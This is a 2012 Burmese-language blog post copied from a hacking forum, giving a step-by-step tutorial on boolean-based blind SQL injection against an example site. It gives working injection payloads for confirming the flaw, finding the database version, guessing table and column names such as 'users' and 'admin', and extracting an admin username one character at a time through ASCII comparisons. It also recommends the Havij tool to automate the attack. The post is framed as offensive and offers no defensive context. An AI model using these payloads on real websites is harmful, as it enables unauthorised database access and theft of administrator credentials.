Pages

Pages - Menu

Thursday, September 13, 2012

Blind Sql Inj3cti0n Yummy Guide

Posted Image


၀ … ပထမဆုံးေျပာခ်င္တာက … Blind ကသိပ္အခ်ိန္ကုန္လုိ. ၀ တုိ. … အေနနဲ. Tool သုံးမယ္ဆုိရင္ဘာမွေ၀ဖန္စရာမရိွပါဘူး…. သုံးခ်င္တာသုံးၾကပါ … ဟဲဟဲ…
ဒါပင္မယ့္လည္း … ဘယ္လုိဘယ္လုိ … လုပ္သလဲဆုိတဲ့နည္းေလးတိထားရင္ေကာ မေကာင္းဘူးလား… ??
ဒါေၾကာင့္ဒီဟာကုိေရးတာပါ…
Blind ကိုဘာလုိ.သံုးရသလဲဆုိေတာ့ … DB ထဲမွာ “information_schema” ဆုိတဲ့ Table ေလးမရိွတာေၾကာင့္ Union ေတြဘာေတြနဲ. Data ကုိထုတ္လုိ.မရဘူး … (version ေအာက္ေနလုိ.ေပါ့)

[+]Blind ၂မ်ိဳးရွိပါတယ္ …
၁.Boolean Based (normal blind)
2.Time Based (time delay)
အဲကလုိေပါ့ …

[1]Boolean
ဥပမာ … ၀တုိ.မွာ … ေဟာဒီ error ျဖစ္ေနတဲ့ ဆုိဒ္ေလးရွိတယ္… ဆုိပါစုိ.

www.နတ္ဆုိး.net/index.php?catid=13

#သူ.ကို single quote ( ‘ ) ေလးနဲ.စမ္းျပီး… ေနာက္ဆုံး version ေအာက္ေနေတာ့ ေရွ.ဆက္လုိ.မရဘူးဆုိပါေတာ့

#တခ်ိဳ.ဆုိဒ္ေတြက … single-quote(‘) နဲ.စမ္းမရဘူး … ဒါဆုိ Boolean Logic (True or False)ကုိသုံးပါမယ္ … Boolean ကေတာ့ အလယ္ရာစုက…သခၤ်ာပညာရွင္ၾကီးပါ … Programmer ကုိကုိေတြ ေကာင္းေကာင္းသိၾကပါတယ္…
အဲဒီေတာ့ ေစာေစာကဆုိက္ရဲ. Variable ေနာက္မွာ
and 1=1
ဆုိျပီးထည့္ကာစမ္းလုိက္ပါမယ္…
www.နတ္ဆုိး.net/index.php?catid=13 and 1=1
webpage ကပုံမွန္ပဲတက္လာတယ္ … no error
ဘာလုိ.ဆုိေတာ့ … တစ္က တစ္နဲ.ညီတယ္ဆုိတာ ကေလးေတာင္တိတယ္…ေလ… ဘာလို.error ျပရမွာလဲဟုတ္စ…
ဒီတစ္ခါ
and 1=2

ဒါဆုိရင္ link က

www.နတ္ဆုိး.net/index.php?catid=13 and 1=2

webpage ကုိသတိထားၾကည့္ပါ…. ပုံတစ္ခ်ိဳ. … စာတစ္ခ်ဳိ.ေျပာက္ေနျပီဆုိိ… error ေပါက္ေနပါျပီ…
1=2 ပဲစမ္းရမယ္လုိ. ပုံေသမရိွပါဘူး… logic အရမွားေနတာေတြၾကိဳက္တာစမ္းလုိ.ရတယ္…. ဥပမာ…
www.နတ္ဆုိး.net/index.php?catid=13 100000000001-100000000001=0
www.နတ္ဆုိး.net/index.php?catid=13 100000000001-100000000001=2
အဲလုိမ်ိဳးလဲရေသးတယ္…

#Version
and substring(@@version,1,1)=VERSION
version ဆိုတဲ့ေနရာေလးမွာ 4 တစ္ခါ 5 တစ္ခါထည့္ပါမယ္…
ဒီေတာ့ျဖစ္လာမယ့္ ပုံစံေလးက…

www.နတ္ဆုိး.net/index.php?catid=13 and substring(@@version,1,1)=4
page မွန္မွန္ကန္ကန္တက္တဲ့ဟာက … အဲဒီ့ version ေပါ့ … ဟုတ္ဖူူးလား…

#TableName
 and (SELECT 1 from TABLENAME limit 0,1)=1

table-name ဆုိတဲ့ေနရာမွာ … ကုိယ္ခန္.မွန္းလုိ. ရသေလာက္ tblname ေတြခန္.မွန္းျပီးထည့္ပါ…
ဒီေတာ့ျဖစ္လာမယ့္ပုံစံက…

www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT 1 from မရွိတဲ့tablename limit 0,1)=1

ဒါဆုိ. … tablename ကတကယ္မရွိတာေၾကာင့္ page က error ေတြနဲ.တက္လာပါတယ္… ဒါဆုိဆက္ျပီးစမ္းပါ …
users ဆုိတဲ့ table တစ္ခုခ်ိတယ္.... ဆုိပါစုိ.

www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT 1 from users limit 0,1)=1

users ဆုိတဲ့ Table ရွွိတာေၾကာင့္ page ကပုံမွန္တက္လာပါျပီ … notepad မွာ ကုိုယ္သိျပီးတဲ့ tablename ကုိ ခဏမွတ္ထားပါ….

#Columns

and (SELECT substring(concat(1,ColumnName),1,1) from TableName limit 0,1)=1

TableName = ေစာေစာက ကုိယ္သိျပီးတဲ့ tblname
ColumnName = အခုကုိယ္မွန္းထည့္ရမယ့္ colname

ဒါဆုိ ပုံစံက …

www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT substring(concat(1,မရွိတဲ့Columnname),1,1) from users limit 0,1)=1

page ပုံမွန္မတက္ပါ… ဘာလုိ.ဆုိေတာ့ … column name တကယ္ မရွိတာေၾကာင့္ပါ…
admin ဆုိတဲ့ ... column ရွိတယ္ဆုိပါစုိ.

www.နတ္ဆုိး.net/index.php?catid=13 and (SELECT substring(concat(1,admin),1,1) from users limit 0,1)=1

page ပုံမွန္တက္လာျပီ… ဒါဆုိ admin ဆိုတဲ့ column ရိွလုိ.ေပါ့

#Getting Data
အခု data ထုတ္ဖုိ. … ေအာက္က query ကုိသုံးမယ္…
ascii(substring((SELECT concat(COLUMN) from TABLE),CHARACTER NUMBER,1))>ASCII VALUE HERE

COLUMN = ေစာေစာကကုိယ္သိခဲ့တဲ့ admin column
TABLE = ေစာေစာကကုိယ္သိခဲ့တဲ့ table name

www.asciitable.com ကုိေသာ္လည္းေကာင္း … hackbar က text-hex ကုိေသာ္လည္းေကာင္း http://easycalculation.com/ascii-hex.php ကုိေသာ္လည္းေကာင္းသြားပါ

ASCII VALUE HERE= ဆိုတဲ့ေနရာမွာ … data ရဲ. Ascii value ေတြကုိမွန္းထည့္မွာပါ
ပုံမွန္ site ေတြမွာ username ကုိ special Character ေတြ ...ေပးမထည့္ပါ ... ဒါေၾကာင့္ special character တစ္ခုျဖစ္တဲ့ @ နဲ. စျပီးစစ္ပါမယ္
@ ရဲ. Ascii value က 64 ပါ … ဒါေၾကာင့္အခုလုိ …
and ascii(substring((SELECT concat(admin) from users WHERE id=1),1,1))>64

page မွန္မွန္ကန္ကန္မတက္ဘူး… ဒါဆုိ… username က @ နဲ.မစတာေသခ်ာသြားျပီ … 64 ကုိဆက္တိုးျပီးမွန္းၾကည့္ပါတယ္….
ဆုိပါစုိ. Admin name က john လုိ.
J ရဲ. Ascii value က 106
ဒါေၾကာင့္ပုံစံက ….

and ascii(substring((SELECT concat(admin) from users WHERE id=1),1,1))>105

page မွန္မွန္ကန္ကန္တက္လာမယ္ … ဘာလုိ.ဆုိေတာ့ j ဆုိတဲ့ value ကတကယ္ရွိေနလုိ. Ascii value က 105 …
အဲဒီမွာ 106 လုိ.ေျပာင္းထည့္ၾကည့္လိုက္ရင္… error တက္လာမယ္ ဒါဆုိ. … 106ကို table မွာသြားဖတ္ရင္ … j လုိ.ေတြ.ရလိမ့္မယ္…
ခ်ဳံေျပာရရင္ … error မတက္မခ်င္းေရွ.တုိး… error တက္ရင္ရပ္ … ျပီးရင္ table မွာသြားဖတ္ေပါ့ ….

ပထမတစ္ေနရာျဖစ္တဲ့ 1,1 ကျပီးသြားျပီ…
ဒုတိယေနရာျဖစ္တဲ့ 2,1 ကုိေစာေစာကနည္းအတုိင္းစမ္းပါ… “O”ရရင္…
စုစုေပါင္း.. 2 လုံးရပါျပီ… “ j၀ “ ဒီနည္းအတုိင္း…. ဆက္ျပီးစမ္းၾကည့္ပါ…
ေတာ္ေတာ္ကုိ …အခ်ိန္ကုန္တဲ့ method မုိ. … ဦးဦး mhu@larm ေပးထားတဲ့
List of Table & columns ေတြကုိ … copy paste လုပ္ျပီး… Havij လုိ tool မ်ိဳးမွာ … ထပ္ေပါင္းထည့္ေပးလုိက္ရင္တူူတုိ.က …. AUTO လုပ္ေပးမွာေပါ့… ဟုတ္ဖူးလား….

[2]Time delay ကုိေရးခ်င္ေတာ့ဖူး…. ဘာလုိ.ဆုိေတာ့ … ကိုယ္ႏိုင္ငံ connection ကသိတဲ့အတုိင္းပဲ … အဲဒီ့နည္းက … page loading လုပ္မယ့္အခ်ိန္ကုိ … ကန္.သတ္လုိက္ျပီး… error ေပါက္မေပါက္စစ္တာ …
ဒီမွာစစ္ေနရင္ေတာ့ … ၁နာရီၾကာမွ တစ္ခါတက္တဲ့ loading ဆုိေတာ့ …. ဟူး……
G00Gle မွာအမ်ားၾကီးပါ… ရွာၾကည့္ၾကည့္ေပါ့… မေတြ.ရင္လည္းေျပာေပ့ါ ….

ဒီနည္းေတြပဲလားဆုိေတာ့ ... ဟုတ္ပါဖူး... တျခားနည္းေတြလည္းရွိေသးတာေပါ့
Error Based နဲ.လည္း... ထုိးလုိ.ရပါေသးတယ္...

copy from http://mmhackforums.com//index.php?/topic/814-blind-sql-inj3cti0n-yummy-guide/

1 comment: